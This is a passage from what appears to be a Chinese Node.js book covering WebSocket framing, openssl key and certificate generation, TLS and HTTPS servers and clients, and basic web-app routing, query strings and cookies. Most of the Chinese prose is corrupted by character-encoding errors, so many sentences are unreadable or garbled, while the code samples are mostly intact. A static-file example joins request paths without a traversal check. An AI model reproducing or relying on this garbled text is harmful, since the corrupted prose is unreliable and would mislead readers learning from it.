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ॆ以஠本ழय发ᤞ时，஠本的编ᆉ为UTF-8，由于这᧖发ᤞ的不ߚ在中஠，੝以一个ߙቿӳ

一个ߙᓫ，Ԁ8ͮ。 

客ਖ਼端发ᤞ๖ো后，服务٧端在data事͇中接收到这些编ᆉ数૵，ཨ后解ౡ为相应的数૵ࣜ，

в以数૵ࣜ的ಪय，᤯过଎ᆉ࠱ᄽൣ的数૵解ࠚѢ౎，ཨ后触发onmessage()੯ᛠ，ݟ下੝ᇧὙ 

socket.onmessage = function (event) { 
  // TODO: event.data 
}; 

服务٧端вٿ复yakexi的时候，қ下的事情就是௃ᮋ଎ᆉ，Ф余相Վ，ݟ下੝ᇧὙ 

fin(1) + res(000) + opcode(0001) + masked(0) + payload length(1100000) + payload data(yakexi的ܾ进制) 

这᧖的ᛠ为与ጥTCPᤋ接的ᛠ为Ӡ分ዜͪ，ᤂͪڠ可以ူ解为TCP客ਖ਼端ݒ接ߙ的connect

事͇֖data事͇。 

至൤，WebSocket的ԓူ̭ፀ߸උ，Хͳݟʹ解ౡ数૵֖ࣜ触发onmessage()，请ԟᏥwsഴڰ

的实ဗ，由于Ф有过多ጹᓫ，这᧖不вࡘ开ଠᤗ。 

7.4.3� ᇣ㒧 

在੝有的WebSocket服务٧端实ဗ中，没有ඊNodeఝ᠚ᤂWebSocket的使用ழय了。它们的

Р性有以下内ࠓ。 

� ۲于事͇的编程接ԯ。 

� ۲于JavaScript，以࠯ᜈᓡ好的WebSocket实ဗ，API与客ਖ਼端可以高ऎ相ͪ。 

Բ外，Node۲于事͇驱动的ழय使३它应对WebSocket这ዜ᫁ᤋ接的应用场景可以ᣏౚܪڠ

ူ大量并发请ය。ࡉ管Node没有内ᎵWebSocket的ं，ͭ是社区的wsഴ࠯ڰᜈ了WebSocket的ऄ

 。实ဗ。socket.ioԀ是在它的۲ᆨ上ౝत实ဗ的ࡎ

7.5� 㔥㒰᳡ࡵϢᅝܼ 

在网ፎ中，数૵在服务٧端֖客ਖ਼端之ᫍ͛ᤫ，由于是௙஠͛ᤫ的内ࠓ，一ெ在网ፎᜁ人ᄢ

ଌ，数૵就可能一᜾௃余ࡘڠဗ在中ᫍ的ቊե者᭦前。为൤我们ᭉ要࠱数૵加ࠚ后вᤈᛠ网ፎ͛

ᣤ，这样Ԁ使数૵ᜁ੔ᖌ֖ቊե，ቊե者也௃กᅻ᥊数૵的ᄽ实内ࠓ是̣˥。ͭ是对于我们的应

用ࡎӨᝫᏪ言，ݟHTTP、FTPኍ，我们̮ཨ࣎భ能ܴᤨ௙ူܪڠ数૵，Ꮺ௃ᮋୱ心网ፎ͛ᣤ过

程中的߶К问题。在网景МՂ的NetScapeเ᜾٧推Ѣ之初就ଡѢ了SSL（Secure Sockets Layer，

߶Кݒ接ࡎ）。SSL作为一ሗ߶КӨᝫ，它在͛ᣤࡎଡΘ对网ፎᤋ接加ࠚ的ҩ能。对于应用ࡎᏪ

言，它是ᤨ௙的，数૵在͛ᤫ到应用ࡎ之前就已经߸੆了加֖ࠚ解ࠚ的过程。最初的SSL应用在

Web上，ᜁ服务٧端֖เ᜾٧端Վ时ஂ૆，ᬣ后IETF࠱ФಕэӐ，ሥ为TLS（Transport Layer 

Security，߶К͛ᣤࡎӨᝫ）。 

Node在网ፎ߶К上ଡΘ了3个ഴڰ，分Ѿ为crypto、tls、https。Ф中crypto˞要用于加

ኪก都在Ф中有ͳဗ，在这᧖我们不用вଡ。ᄽൣ用于网ፎ的是ࠚSHA1、MD5ኍ加，ࠚ解ࠚ
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Բ外ˏ个ഴڰ，tlsഴڰଡΘ了与netഴڰዜͪ的ҩ能，区Ѿ在于它त立在TLS/SSL加ࠚ的TCP

ᤋ接上。对于httpsᏪ言，它߸К与httpഴڰ接ԯ一ᒰ，区Ѿ也仅在于它त立于߶К的ᤋ接 

之上。 

7.5.1� TLS/SSL 

1. ᆚ䩹 
TLS/SSL是一个Мᨄ/ሒᨄ的ፆౝ，它是一个᭣对ሥ的ፆౝ，ඇ个服务٧端֖客ਖ਼端都有自己

的Мሒᨄ。Мᨄ用౎加ࠚ要͛ᣤ的数૵，ሒᨄ用౎解ࠚ接收到的数૵。Мᨄ֖ሒᨄ是ᦠ对的，᤯

过Мᨄ加ࠚ的数૵，只有᤯过ሒᨄ才能解ࠚ，੝以在त立߶К͛ᣤ之前，客ਖ਼端֖服务٧端之ᫍ

ᭉ要̈૰Мᨄ。客ਖ਼端发ᤞ数૵时要᤯过服务٧端的Мᨄᤈᛠ加ࠚ，服务٧端发ᤞ数૵时Ѷᭉ要

客ਖ਼端的Мᨄᤈᛠ加ݟ，ࠚ൤才能߸੆加ࠚ解ࠚ的过程，ݟ图7-8੝ᇧ。 

 

图7-8 客ਖ਼端֖服务٧端̓૰ࠚᨄ 

Node在ऄࡎ᧓用的是openssl实ဗTLS/SSL的，为൤要生੆Мᨄ֖ሒᨄ可以᤯过openssl߸੆。

我们分Ѿ为服务٧端֖客ਖ਼端生੆ሒᨄ，ݟ下੝ᇧὙ 

// 生成服务器端私ሃ 
$ openssl genrsa -out server.key 1024 
// 生成客户端私ሃ 
$ openssl genrsa -out client.key 1024 

上ᤗ̽֐生੆了ˏ个1024ͮ᫁的RSAሒᨄ஠͇，我们可以᤯过它继续生੆Мᨄ，ݟ下੝ᇧὙ 

$ openssl rsa -in server.key -pubout -out server.pem 
$ openssl rsa -in client.key -pubout -out client.pem 

Мሒᨄ的᭣对ሥ加ࠚᙉ好，ͭ 是网ፎ中Ιཨ可能ߚ在ቊե的情х，Цۋ的Βߔ是中ᫍ人ஈѣ。

客ਖ਼端֖服务٧端在̓૰Мᨄ的过程中，中ᫍ人对客ਖ਼端ੵ໥服务٧端的ᝇᓣ，对服务٧端ੵ໥

客ਖ਼端的ᝇᓣ，因൤客ਖ਼端֖服务٧端几˪ਕԩ不到中ᫍ人的ߚ在。为了解决这ሗ问题，数૵͛

ᣤ过程中还ᭉ要对३到的Мᨄᤈᛠ认᝼，以ᆷ认३到的Мᨄ是Ѣ自目ಕ服务ݟ。٧౦不能γ᝼这

ሗ认᝼，中ᫍ人可能会͡࠱ᤴ的ቢཁֽ应ፋ用ਖ਼，从Ꮺᤴ੆经฿૮ܾ。图7-9是中ᫍ人ஈѣ的ᇧ

਒图。 
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图7-9 中ᫍ人ஈѣᇧ਒图 

为了解决这个问题，TLS/SSLल入了数ߙ᝼书౎ᤈᛠ认᝼。与ᄯ接用Мᨄ不Վ，数ߙ᝼书中

包դ了服务٧的Տሥ֖˞机Տ、服务٧的Мᨄ、ኣՏᮑ发机ౝ的Տሥ、౎自ኣՏᮑ发机ౝ的ኣՏ。

在ᤋ接त立前，会᤯过᝼书中的ኣՏᆷ认收到的Мᨄ是౎自目ಕ服务٧的，从Ꮺ产生信͉关系。 

2. ᭄ᄫ䆕к 
为了ᆷγ我们的数૵߶К，ဗ在我们ल入了一个ኃʻழὙCA（Certificate Authority，数ߙ᝼

书认᝼中心）。CA的作用是为ቢཁᮑ发᝼书，且这个᝼书中Х有CA᤯过自己的Мᨄ֖ሒᨄ实ဗ

的ኣՏ。 

为了३到ኣՏ᝼书，服务٧端ᭉ要᤯过自己的ሒᨄ生੆CSR（Certificate Signing Request，᝼

书ኣՏ请ය）஠͇。CA机ౝ࠱᤯过这个஠͇ᮑ发࡚于ឞ服务٧端的ኣՏ᝼书，只要᤯过CA机ౝ

就能ᰍ᝼᝼书是否Ջก。 

᤯过CA机ౝᮑ发᝼书᤯࣡是一个ཐဴ的过程，ᭉ要̶Ѣ一定的ዴҦ֖᠟用。对于中小͌ۋˉ

Ꮺ言，多Ӧ是᧓用自ኣՏ᝼书౎ౝत߶К网ፎ的。੝៊自ኣՏ᝼书，就是自己ੵ໥CA机ౝ，ፋ自

己的服务٧端ᮑ发ኣՏ᝼书。以下为生੆ሒᨄ、生੆CSR஠͇、᤯过ሒᨄ自ኣՏ生੆᝼书的过程Ὑ 

$ openssl genrsa -out ca.key 1024 
$ openssl req -new -key ca.key -out ca.csr 
$ openssl x509 -req -in ca.csr -signkey ca.key -out ca.crt 

Фึ程ݟ图7-10੝ᇧ。 

 

图7-10 生੆自ኣՏ᝼书ᇧ਒图 

上ᤗ൥ᰠ߸੆了ੵ໥CAᝇᓣᭉ要的஠͇。接下౎ٿ到服务٧端，服务٧端ᭉ要ՓCA机ౝႁ

请ኣՏ᝼书。在ႁ请ኣՏ᝼书之前Ιཨ是要创त自己的CSR஠͇。Ϙ३ซ਒的是，这个过程中的

Common Name要ӛᦠ服务٧۪Տ，否Ѷ在后续的认᝼过程中会Ѣᩱ。ݟ下是生੆CSR஠͇੝用

的̽֐Ὑ 
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$ openssl req -new -key server.key -out server.csr 

३到CSR஠͇后，Փ我们自己的CA机ౝႁ请ኣՏա。ኣՏ过程ᭉ要CA的᝼书֖ሒᨄԟ与，

最ጻᮑ发一个ࣛ有CAኣՏ的᝼书，ݟ下੝ᇧὙ 

$ openssl x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr -out server.crt 

客ਖ਼端在发起߶Кᤋ接前会ԜᖌԨ服务٧端的᝼书，并᤯过CA的᝼书ᰍ᝼服务٧端᝼书的

ᄽ͡。ᬓ了ᰍ᝼ᄽ͡外，᤯࣡还դ有对服务٧Տሥ、IPڦڠኍᤈᛠᰍ᝼的过程。这个ᰍ᝼过程ݟ

图7-11੝ᇧ。 

 

图7-11 客ਖ਼端᤯过CAᰍ᝼服务٧端᝼书的ᄽ͡过程ᇧ਒图 

CA机ౝ࠱᝼书ᮑ发ፋ服务٧端后，᝼书在请ය的过程中会ᜁ发ᤞፋ客ਖ਼端，客ਖ਼端ᭉ要᤯

过CA的᝼书ᰍ᝼ᄽ͡。ݟ౦是ᅻՏ的CA机ౝ，它们的᝼书一ᓉᮔᜈ在เ᜾٧中。ݟ౦是自己ੵ

໥CA机ౝ，ᮑ发自有ኣՏ᝼书Ѷ不能享ԩ这个ለѽ，客ਖ਼端ᭉ要ᖌԨ到CA的᝼书才能ᤈᛠᰍ᝼。 

上ᤗ的过程中可以ᄹѢ，ኣՏ᝼书是一环一环ڠᮑ发的，ͭ是在CAᥦ᧖的᝼书是不ᭉ要上

ጞ᝼书ԟ与ኣՏ的，这个᝼书我们᤯࣡ሥ为಩᝼书。 

7.5.2� TLS᳡ࡵ 

1. ߯ᓎ᳡ࡵ఼ッ 
，౎创त一个߶К的TCP服务ڰᴎ之后，我们᤯过Node的tlsഴܫౝत服务੝ᭉ要的᝼书都࠱

这个服务是一个ኤӬ的echo服务，̼ᆉݟ下Ὑ 

var tls = require('tls'); 
var fs = require('fs'); 
 
var options = { 
  key: fs.readFileSync('./keys/server.key'), 
  cert: fs.readFileSync('./keys/server.crt'), 
  requestCert: true, 
  ca: [ fs.readFileSync('./keys/ca.crt') ] 
}; 
 
var server = tls.createServer(options, function (stream) { 
  console.log('server connected', stream.authorized ? 'authorized' : 'unauthorized'); 
  stream.write("welcome!\n"); 
  stream.setEncoding('utf8'); 
  stream.pipe(stream); 
}); 
server.listen(8000, function() { 
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  console.log('server bound'); 
}); 

ը动上ᤗ服务后，᤯过下᭦的̽֐可以测试᝼书是否ൣ࣡Ὑ 

$ openssl s_client -connect 127.0.0.1:8000 

2. TLSᅶ᠋ッ 
为了߸ؒஞ个ͳ系，接下౎我们用Node౎ഴ઱客ਖ਼端，ݟՎnetഴڰ一样，tlsഴڰ也ଡΘ了

connect()ழก౎ౝत客ਖ਼端。在ౝत我们的客ਖ਼端之前，ᭉ要为客ਖ਼端生੆࡚于自己的ሒᨄ֖

ኣՏ，̼ᆉݟ下Ὑ 

// 创建私ሃ 
$ openssl genrsa -out client.key 1024 
// 生成CSR 
$ openssl req -new -key client.key -out client.csr 
// 生成ധ名证ກ 
$ openssl x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in client.csr -out client.crt 

并创त客ਖ਼端，̼ᆉݟ下Ὑ 

var tls = require('tls'); 
var fs = require('fs'); 
 
var options = { 
  key: fs.readFileSync('./keys/client.key'), 
  cert: fs.readFileSync('./keys/client.crt'), 
  ca: [ fs.readFileSync('./keys/ca.crt') ] 
}; 
 
var stream = tls.connect(8000, options, function () { 
  console.log('client connected', stream.authorized ? 'authorized' : 'unauthorized'); 
  process.stdin.pipe(stream); 
}); 
 
stream.setEncoding('utf8'); 
stream.on('data', function(data) { 
  console.log(data); 
}); 
stream.on('end', function() { 
  server.close(); 
}); 

ը动客ਖ਼端的过程中，用到了为客ਖ਼端生੆的ሒᨄ、᝼书、CA᝼书。客ਖ਼端ը动之后可以

在ᣤ入ึ中ᣤ入数૵，服务٧端࠱会ٿ应相Վ的数૵。 

至൤我们߸੆了TLS的服务٧端֖客ਖ਼端的创त。与௾᤯的TCP服务٧端֖客ਖ਼端相ඊ，TLS

的服务٧端֖客ਖ਼端仅仅只在᝼书的ᦠᎵ上有ࢿѾ，Ф余部分۲本相Վ。 

7.5.3� HTTPS᳡ࡵ 

HTTPS服务就是工作在TLS/SSL上的HTTP。在了解了TLS服务后，创तHTTPS服务是вኤӬ

不过的事情。 
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 ໛䆕кޚ .1
HTTPS服务ᭉ要用到ሒᨄ֖ኣՏ᝼书，我们可以ᄯ接用上஠生੆的ሒᨄ֖᝼书。 

2. ߯ᓎHTTPS᳡ࡵ 
创तHTTPS服务只ඊHTTP服务多一个ᤤᮉᦠᎵ，Ф余ڠழ几˪相Վ，̼ᆉݟ下Ὑ 

var https = require('https'); 
var fs = require('fs'); 
 
var options = { 
  key: fs.readFileSync('./keys/server.key'), 
  cert: fs.readFileSync('./keys/server.crt') 
}; 
 
https.createServer(options, function (req, res) { 
  res.writeHead(200); 
  res.end("hello world\n"); 
}).listen(8000); 

ը动之后᤯过curlᤈᛠ测试，相关̼ᆉݟ下੝ᇧὙ 

$ curl https://localhost:8000/ 
curl: (60) SSL certificate problem, verify that the CA cert is OK. Details: 
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed 
More details here: http://curl.haxx.se/docs/sslcerts.html 
 
curl performs SSL certificate verification by default, using a "bundle" 
 of Certificate Authority (CA) public keys (CA certs). If the default 
 bundle file isn't adequate, you can specify an alternate file 
 using the --cacert option. 
If this HTTPS server uses a certificate signed by a CA represented in 
 the bundle, the certificate verification probably failed due to a 
 problem with the certificate (it might be expired, or the name might 
 not match the domain name in the URL). 
If you'd like to turn off curl's verification of the certificate, use 
 the -k (or --insecure) option. 

由于是自ኣՏ的᝼书，curl工Х௃กᰍ᝼服务٧端᝼书是否ൣᆷ，੝以Ѣဗ了上ᤗ的ઊᩱ，

要解决上᭦的问题有ˏሗழय。一ሗ是加-kᤤᮉ，ᝧcurl工Х঒႔૿᝼书的ᰍ᝼，这样的ፆ౦是

数૵Ιཨ会᤯过Мᨄ加͛ࠚᣤ，ͭ是௃กγ᝼对ழ是可᭤的，会ߚ在中ᫍ人ஈѣ的໷在᮲ᬖ。Ф

ፆ౦ݟ下੝ᇧὙ 

$ curl -k https://localhost:8000/ 
hello world 

Բ一ሗ解决的ழय是ፋcurl᝹Ꮅ--cacertᤤᮉ，նᅻCA᝼书使之߸੆对服务٧᝼书的ᰍ᝼，

 下੝ᇧὙݟ

$ curl --cacert keys/ca.crt https://localhost:8000/ 
hello world 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权



7.6� 总ፆ� � 175 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

3. HTTPSᅶ᠋ッ 
对应的，我们也会用Node౎实ဗHTTPS的客ਖ਼端，与HTTP的客ਖ਼端相ࢿ不大，ᬓ了ૈ定᝼

书相关的ԟ数外，ݟ下੝ᇧὙ 

var https = require('https'); 
var fs = require('fs'); 
 
var options = { 
  hostname: 'localhost', 
  port: 8000, 
  path: '/', 
  method: 'GET', 
  key: fs.readFileSync('./keys/client.key'), 
  cert: fs.readFileSync('./keys/client.crt'), 
  ca: [fs.readFileSync('./keys/ca.crt')] 
}; 
 
options.agent = new https.Agent(options); 
 
var req = https.request(options, function(res) { 
  res.setEncoding('utf-8'); 
  res.on('data', function(d) { 
    console.log(d); 
  }); 
}); 
req.end(); 
 
req.on('error', function(e) { 
  console.log(e); 
}); 

੯ᛠ上᭦的ୱ作३到以下ᣤѢὙ 

$ node client.js  
hello world 

 下ऩ࣡Ὑݟ会३到࠱，౦不᝹Ꮅcaᤤᮉݟ

[Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE] 

解决ឞऩ࣡的ழ಴是ຊ加ᤤᮉ࡚性rejectUnauthorized为false，它的஌౦与curl工Х加-k一

样，都会在数૵͛ᣤ过程中会加ࠚ，ͭ是௃กγ᝼服务٧端的᝼书不是͡ᤴ的。 

7.6� ᘏ㒧 

Node۲于事͇驱动֖᭣᫽܊᝹᝟，在分࣊य环境中࠾Ф能发૘Ѣ它的ྱ᫁，۲于事͇驱动可

以实ဗ与大量的客ਖ਼端ᤈᛠᤋ接，᭣᫽܊᝹᝟Ѷᝧ它可以ఝ好ڠଡӣ网ፎ的ֽ应՛Ւ。NodeଡΘ

了相对ऄࡎ的网ፎុ用，以Ԣ۲于事͇的编程接ԯ，使३开发者在这些ഴڰ上Ӡ分ᣏౚڠౝत网

ፎ应用。下一ብ我们࠱在本ብ的۲ᆨ上探ᝦХͳ的Web应用。 
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7.7� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 

� http://tools.ietf.org/html/rfc2616 

� http://hi.baidu.com/miracletan2008/item/0bc16c9d7af261de7b7f01a2 

� http://tools.ietf.org/html/rfc6455  

� http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html 

� http://en.wikipedia.org/wiki/OSI_model 

� http://upload.wikimedia.org/wikipedia/commons/a/ae/SSL_handshake_with_two_way_authenti

cation_with_certificates.svg  
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ᵘᓎWebᑨ⫼ 

 
今ᄹ౎，Web应用ιཨ是̈ᐎ网的˞ᝇ，ͦᬣWeb 1.0、Web 2.0一ᡸ走౎，HTTPӳ૵了网ݟ

ፎ中的大多数ึ量。ᬣ着ሧ动̈ᐎ网时̼的到౎，WebԠ开始在ሧ动เ᜾٧上发૘Џ֖བ。在Web
ಕэӐ的ҰҦ过后，WebԠ开始మՓ应用Ӑ发ࡘ，JavaScript在前端Ԫ३༵੣可བ。᝴多ԓ本在服

务٧端实ဗ的ˉ务ጹᓫ，ጬጬ前ሧ到เ᜾٧端，前端MV*的౵ౝ也௅ᡕ੆熟。与之ᤣึ的是，Node
的Ѣဗ࠱前后端的ۍܝв次੩ᆠ，JavaScript这门最初就能ᤁᛠ在服务٧端的语言，在经Ԋ了前端

的ᣜཫ֖后端的ͯᤙ后，ύү事͇驱动֖V8的高性能，в次੆为了服务٧端的΋΋者。在Web应

用中，JavaScript࠱不в仅仅Ѣဗ在前端เ᜾٧中，因为Node的Ѣဗ，þ前端ÿ࠱会ᜁ᧗新定˦。 
为了ᑇ͉Web应用的开发工作，Չሗ语言、ഴय、ಳ౵ࡎѢ不ቃ。Ӭ从ಳ౵Ꮺ言，在后端数

३Ѣ౎大Տ的就有Structs、CodeIgniter、Rails、Django、web.pyኍ，在前端也有ᅻՏ的BackBone、

Knockout. js、AngularJS、Meteorኍ。在Node中，有Connect中͇ᫍ，也有Express这样的MVCಳ౵。

Ϙ३ซ਒的是Meteorಳ౵，它在后端是Node，在前端是JavaScript，它是一个ᚷՋ了前后端

JavaScript的ಳ౵。 
由于前后端᧓用的语言都是JavaScript，在ᡴᡔHTTPᤈᛠ෣᤯时，会有一些ᮨ外的好ܪ。 
� ௃ᮋѬ૰语言环境，部分ᅻ识不会因为语言环境的Ѭ૰Ꮺˎܾ，上下஠一ᒰ性ᣖ好。 
� 数૵（因为JSON）可以很好ڠ实ဗᡴ前后端ᄯ接使用。 
� 一些ˉ务（ݟഴ౛ມ౿）可以很自由ڠᣏ量ڠᤤસ是在前端还是在后端ᤈᛠ，因为编程

语言相Վ，੝以Ѭ૰̼͈小。 
本ብ会ࡘ开ଠᤗWeb应用在后端实ဗ中的ጹᓫ֖ԓူ。 

8.1� ෎⸔ࡳ㛑 
在ኃ7ብ中，我们̭ፀ了Node的网ፎ编程部分。从中我们可以发ဗ，Node是Ӡ分᠚ᤂ网ፎӨ

ᝫ的，它的᭣᫽܊、事͇机҃使३我们在网ፎ编程时Ӡ分ᣏΦ。Ꮺ本ብ的Web应用ழ᭦的内ࠓ，

中服务٧端的request事͇开始分ౡ。request事͇发生于网ፎᤋ接त立，客ਖ਼端Փڰ从httpഴ࠱

服务٧端发ᤞઐ஠，服务٧端解ౡઐ஠，发ဗHTTP请ය的ઐܿ时。在已触发reqeust事͇前，它

已эܫ好ServerRequest֖ServerResponse对៵以Θ对请යֽ֖应ઐ஠的ୱ作。 
以߽ழ经Ц的Hello World为Β，就是ុ用ServerResponse实ဗֽ应的，ݟ下੝ᇧὙ 

第 � 章
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var http = require('http'); 

http.createServer(function (req, res) { 

  res.writeHead(200, {'Content-Type': 'text/plain'}); 

  res.end('Hello World\n'); 

}).listen(1337, '127.0.0.1'); 

console.log('Server running at http://127.0.0.1:1337/'); 

对于一个Web应用Ꮺ言，仅仅只是上᭦这样的ֽ应ᤉᤉ᣹不到ˉ务的ᭉය。在Хͳ的ˉ务中，

我们可能有ݟ下这些ᭉය。 
� 请යழก的ѻற。 
� URL的ᡸफ़解ౡ。 
� URL中ಉលߙቿ˘解ౡ。 
� Cookie的解ౡ。 
� Basic认᝼。 
� ᛪӬ数૵的解ౡ。 
� ͉਒ಪय஠͇的上͛ူܪ。 
ᬓ൤之外，可能还有Session（会ព）的ᭉය。ࡉ管NodeଡΘ的ऄࡎAPI相对౎ឬඊᣖኤӬ，

ͭ要߸੆ˉ务ᭉය，还ᭉ要大量的工作，仅仅一个request事͇ͪ˪௃ก໗ᡛ这些ᭉය。ͭ是要

实ဗ这些ᭉය并᭣ᬱ事，一Ѭ的一Ѭ，都从ݟ下这个ѥ数ࡘ开Ὑ 

function (req, res) { 

  res.writeHead(200, {'Content-Type': 'text/plain'}); 

  res.end(); 

} 

在ኃ4ብ中，我们డ对高᫼ѥ数有过ኤӬ的̭ፀὙ我们的应用可能௃ᬌڠ复杂，ͭ是只要最ጻ

ፆ౦ᤄٿ一个上᭦的ѥ数作为ԟ数，͛ ᤫፋcreateServer()ழก作为request事͇的Νե٧就可以了。 
你可能ᄹ到Connect੊Express的ᇧΒ中有ݟ下这样的̼ᆉὙ 

var app = connect(); 

// var app = express(); 

// TODO 
http.createServer(app).listen(1337); 

它的ԓူԀ是ݟ൤。我们在Хͳˉ务开始前，ᭉ要为ˉ务ᮔူܪ一些ጹᓫ，这些ጹᓫ࠱会ે

ᣑ在req੊res对៵上，Θˉ务̼ᆉ使用。 

8.1.1� 䇋∖ᮍ⊩ 

在Web应用中，最࣡᜸的请යழก是GET֖POST，ᬓ൤之外，还有HEAD、DELETE、PUT、CONNECT

ኍழก。请යழกߚ在于ઐ஠的ኃ一ᛠ的ኃ一个Ӭជ，᤯࣡是大写。ݟ下为一个ઐ஠ܿ的ᇧΒὙ 

> GET /path?foo=bar HTTP/1.1 

> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 

> Host: 127.0.0.1:1337 

> Accept: */* 

>  
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HTTP_Parser在解ౡ请යઐ஠的时候，࠱ઐ஠ܿઙԨѢ౎，᝹Ꮅ为req.method。᤯࣡，我们

只ᭉ要ူܪGET֖POSTˏዜ请යழก，ͭ是在RESTfulዜWeb服务中请යழกӠ分᧗要，因为它会

决定ᠪ源的ୱ作ᛠ为。PUT̼ᛪ新त一个ᠪ源，POSTᛪᇧ要ఝ新一个ᠪ源，GETᛪᇧಉᄹ一个ᠪ源，

ᏪDELETEᛪᇧѺᬓ一个ᠪ源。 
我们可以᤯过请යழก౎决定ֽ应ᛠ为，ݟ下੝ᇧὙ 

function (req, res) { 

  switch (req.method) { 

  case 'POST': 

    update(req, res); 

    break; 

  case 'DELETE': 

    remove(req, res); 

    break; 

  case 'PUT': 

    create(req, res); 

    break; 

  case 'GET': 

  default: 

    get(req, res); 

  } 

} 

上ᤗ̼ᆉ̼ᛪ了一ሗ಩૵请යழก࠱复杂的ˉ务᤾ᣣ分发的ধᡸ，是一ሗӐጒ为ኤ的ழय。 

8.1.2� 䏃ᕘ㾷ᵤ 

ᬓ了಩૵请යழก౎ᤈᛠ分发外，最࣡᜸的请යѻறᖅ过于ᡸफ़的ѻற了。ᡸफ़部分ߚ在于

ઐ஠的ኃ一ᛠ的ኃ̃部分，ݟ下੝ᇧὙ 

GET /path?foo=bar HTTP/1.1 

HTTP_Parser࠱Ф解ౡ为req.url。一ᓉᏪ言，߸ஞ的URLڦڠ是ݟ下这样的Ὑ 

http://user:pass@host.com:8080/p/a/t/h?query=string#hash 

客ਖ਼端̼ူ（เ᜾٧）会࠱这个ڦڠ解ౡ੆ઐ஠，࠱ᡸफ़֖ಉល部分உ在ઐ஠ኃ一ᛠ。ᭉ要

ซ਒的是，hash部分会ᜁˎप，不会ߚ在于ઐ஠的͉ʹڠழ。 
最࣡᜸的಩૵ᡸफ़ᤈᛠˉ务ူܪ的应用是᭡খ஠͇服务٧，它会಩૵ᡸफ़Ԝಉ੼ᇒᄧ中的஠

͇，ཨ后࠱Фֽ应ፋ客ਖ਼端，ݟ下੝ᇧὙ 

function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  fs.readFile(path.join(ROOT, pathname), function (err, file) { 

    if (err) { 

      res.writeHead(404); 

      res.end('ቴ不ڟ၎关文件ă- -'); 

      return; 

    } 

    res.writeHead(200); 
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    res.end(file); 

  }); 

} 

还有一ሗඊᣖ࣡᜸的分发场景是಩૵ᡸफ़౎ᤤસଌ҃٧，它ᮔ᝹ᡸफ़为ଌ҃٧֖ᛠ为的组

Ջ，௃ᮋᮨ外ᦠᎵᡸ由信ো，ݟ下੝ᇧὙ 

/controller/action/a/b/c 

这᧖的controller会对应到一个ଌ҃٧，action对应到ଌ҃٧的ᛠ为，қ余的Ϙ会作为ԟ数

ᤈᛠ一些Ѿ的ѻற。 

function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  var paths = pathname.split('/'); 

  var controller = paths[1] || 'index'; 

  var action = paths[2] || 'index'; 

  var args = paths.slice(3); 

  if (handles[controller] && handles[controller][action]) { 

    handles[controller][action].apply(null, [req, res].concat(args)); 

  } else { 

    res.writeHead(500); 

    res.end('ቴ不ڟ响应控制器'); 

  } 

} 

这样我们的ˉ务部分可以只关心Хͳ的ˉ务实ဗ，ݟ下੝ᇧὙ 

handles.index = {}; 

handles.index.index = function (req, res, foo, bar) { 

  res.writeHead(200); 

  res.end(foo); 

}; 

8.1.3� ᶹ䆶ᄫヺІ 

ಉលߙቿ˘ͮ于ᡸफ़之后，在ڦڠಜ中ᡸफ़后的?foo=bar&baz=valߙቿ˘就是ಉលߙቿ˘。

这个ߙቿ˘会ᡱᬣ在ᡸफ़后，् ੆请යઐ஠ᯪᛠ的ኃ̃部分。这部分内ࠓ经࣡ᭉ要为ˉ务᤾ᣣ੝

用，NodeଡΘ了querystringഴڰ用于ူܪ这部分数૵，ݟ下੝ᇧὙ 

var url = require('url'); 

var querystring = require('querystring'); 

var query = querystring.parse(url.parse(req.url).query); 

ఝኤผ的ழก是ፋurl.parse()͛ᤫኃ̃个ԟ数，ݟ下੝ᇧὙ 

var query = url.parse(req.url, true).query; 

它会࠱foo=bar&baz=val解ౡ为一个JSON对៵，ݟ下੝ᇧὙ 

{ 

  foo: 'bar', 

  baz: 'val' 

} 
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在ˉ务ុ用产生之前，我们的中͇ᫍ੊者ಳ౵会࠱ಉលߙቿ˘ᣀ૰，ཨ后ેᣑ在请ය对៵上

Θˉ务使用，ݟ下੝ᇧὙ 

function (req, res) { 

  req.query = url.parse(req.url, true).query; 

  hande(req, res); 

} 

要ซ਒的ཁ是，ݟ౦ಉលߙቿ˘中的᪃Ѣဗ多次，ᥦ˥它的Ϙ会是一个数组，ݟ下੝ᇧὙ 

// foo=bar&foo=baz 

var query = url.parse(req.url, true).query; 

// { 

//   foo: ['bar', 'baz'] 

// } 

ˉ务的ѻற一定要೜ಉϘ是数组还是ߙቿ˘，否Ѷ可能ѢဗTypeErrorऩ࣡的情х。 

8.1.4� Cookie 

1. ߱䆚Cookie 
在Web应用中，请යᡸफ़֖ಉលߙቿ˘对ˉ务至关᧗要，᤯过它们已经可以ᤈᛠ很多ˉ务ୱ

作了，ͭ是HTTP是一个௃࿃খ的Өᝫ，ဗ实中的ˉ务ԁ是ᭉ要一定的࿃খ的，否Ѷ௃ก区分用

ਖ਼之ᫍ的ᢵ͊。ݟʹಕ识֖认᝼一个用ਖ਼，最௉的ழ಴就是Cookie（ఛ݈ᯖ）了。 
Cookie最௉由஠本เ᜾٧LynxՋ作开发者Lou Montulli在1994年网景МՂ开发Netscapeเ᜾

٧的ኃ一个ྟ本时发௙。它能᝭े服务٧与客ਖ਼端之ᫍ的࿃খ，最௉的用ܪ就是用౎ѻற用ਖ਼是

否ኃ一次᝺问网ቢ。在1997年्੆᜺ᔴRFC 2109，目前最新的᜺ᔴ为RFC 6265，它是一个由เ

᜾٧֖服务٧РՎӨ作实ဗ的᜺ᔴ。 
Cookie的ူܪ分为ݟ下几൥。 
� 服务٧Փ客ਖ਼端发ᤞCookie。 
� เ᜾࠱٧Cookieγߚ。 
� 之后ඇ次เ᜾٧都会࠱Cookie发Փ服务٧端。 
客ਖ਼端发ᤞ的Cookie在请යઐ஠的Cookieߙൿ中，我们可以᤯过curl工Хౝᤴ这个ߙൿ，ݟ

下੝ᇧὙ 

curl -v -H "Cookie: foo=bar; baz=val" "http://127.0.0.1:1337/path?foo=bar&foo=baz" 

